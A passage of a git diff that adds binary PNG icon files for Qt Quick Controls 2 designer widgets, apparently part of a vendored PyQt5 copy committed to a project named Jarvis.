index 00000000..8d89eab8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon@2x.png new file mode 100644 index 00000000..51c5601d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/checkbox-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon.png new file mode 100644 index 00000000..2d31b17c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon16.png new file mode 100644 index 00000000..15fc3505 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon@2x.png new file mode 100644 index 00000000..5f823905 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/combobox-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon.png new file mode 100644 index 00000000..5a55bd9f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon16.png new file mode 100644 index 00000000..cd21394e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon@2x.png new file mode 100644 index 00000000..7beee2fa Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/delaybutton-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon.png new file mode 100644 index 00000000..b3b63e35 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon16.png new file mode 100644 index 00000000..8d8c7c09 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon@2x.png new file mode 100644 index 00000000..22547a16 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/dial-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon.png new file mode 100644 index 00000000..32abc8bf Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon16.png new file mode 100644 index 00000000..e5b65ad5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon@2x.png new file mode 100644 index 00000000..8b876f38 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/frame-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon.png new file mode 100644 index 00000000..5542ecf8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon16.png new file mode 100644 index 00000000..9cf43248 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon@2x.png new file mode 100644 index 00000000..80dab3c7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/groupbox-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon.png new file mode 100644 index 00000000..822cf3e7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon16.png new file mode 100644 index 00000000..b3ed007a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon@2x.png new file mode 100644 index 00000000..cb81308f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/itemdelegate-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon.png new file mode 100644 index 00000000..788bef07 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon16.png new file mode 100644 index 00000000..b68d3845 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon@2x.png new file mode 100644 index 00000000..7001413d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/label-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon.png new file mode 100644 index 00000000..b5ac87e8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon16.png new file mode 100644 index 00000000..bc6810b6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon@2x.png new file mode 100644 index 00000000..23db032f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/page-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon.png new file mode 100644 index 00000000..edb6b377 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon16.png new file mode 100644 index 00000000..0fb89675 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon@2x.png new file mode 100644 index 00000000..7be0ee81 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pageindicator-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon.png new file mode 100644 index 00000000..62ebe487 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon16.png new file mode 100644 index 00000000..2b804844 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon@2x.png new file mode 100644 index 00000000..55bb116a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/pane-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon.png new file mode 100644 index 00000000..a023f73c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon16.png new file mode 100644 index 00000000..6fede21d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon@2x.png new file mode 100644 index 00000000..00694003 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/progressbar-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon.png new file mode 100644 index 00000000..d38170e2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon16.png new file mode 100644 index 00000000..07b46a8a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon@2x.png new file mode 100644 index 00000000..4bbddda4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/radiobutton-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon.png new file mode 100644 index 00000000..1c4c7b29 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon16.png new file mode 100644 index 00000000..3be4624d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon@2x.png new file mode 100644 index 00000000..aee69b33 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/rangeslider-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon.png new file mode 100644 index 00000000..d4b470dc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon16.png new file mode 100644 index 00000000..f6f36666 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon@2x.png new file mode 100644 index 00000000..4553e165 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/roundbutton-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon.png new file mode 100644 index 00000000..5ef73ff1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon16.png new file mode 100644 index 00000000..f8ca7a36 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon@2x.png new file mode 100644 index 00000000..0eb7f966 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/scrollview-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon.png new file mode 100644 index 00000000..bd0a9729 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon16.png new file mode 100644 index 00000000..a08622df Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon@2x.png new file mode 100644 index 00000000..93842e4c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/slider-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon.png new file mode 100644 index 00000000..37277c5e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon16.png new file mode 100644 index 00000000..f88711dd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon@2x.png new file mode 100644 index 00000000..b62a3bad Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/spinbox-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon.png new file mode 100644 index 00000000..a6ced349 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon16.png new file mode 100644 index 00000000..0f19d0ef Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon@2x.png new file mode 100644 index 00000000..9b5ef951 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/stackview-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon.png new file mode 100644 index 00000000..031cb27c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon16.png new file mode 100644 index 00000000..446c4696 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon@2x.png new file mode 100644 index 00000000..0ccb978c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/swipeview-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon.png new file mode 100644 index 00000000..e0181592 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon16.png new file mode 100644 index 00000000..9abd2756 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon@2x.png new file mode 100644 index 00000000..787f54ca Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/switch-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon.png new file mode 100644 index 00000000..f1b2dc0f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon16.png new file mode 100644 index 00000000..4afc1fba Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon@2x.png new file mode 100644 index 00000000..c32ecc71 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textarea-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon.png new file mode 100644 index 00000000..ba5537ac Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon16.png new file mode 100644 index 00000000..c4a62a65 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon@2x.png new file mode 100644 index 00000000..e05fd41b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/textfield-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon.png new file mode 100644 index 00000000..5cb5b2e1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon16.png new file mode 100644 index 00000000..569373af Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon@2x.png new file mode 100644 index 00000000..fd9e6cee Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbar-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon.png new file mode 100644 index 00000000..3298f695 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon.png differ diff --git 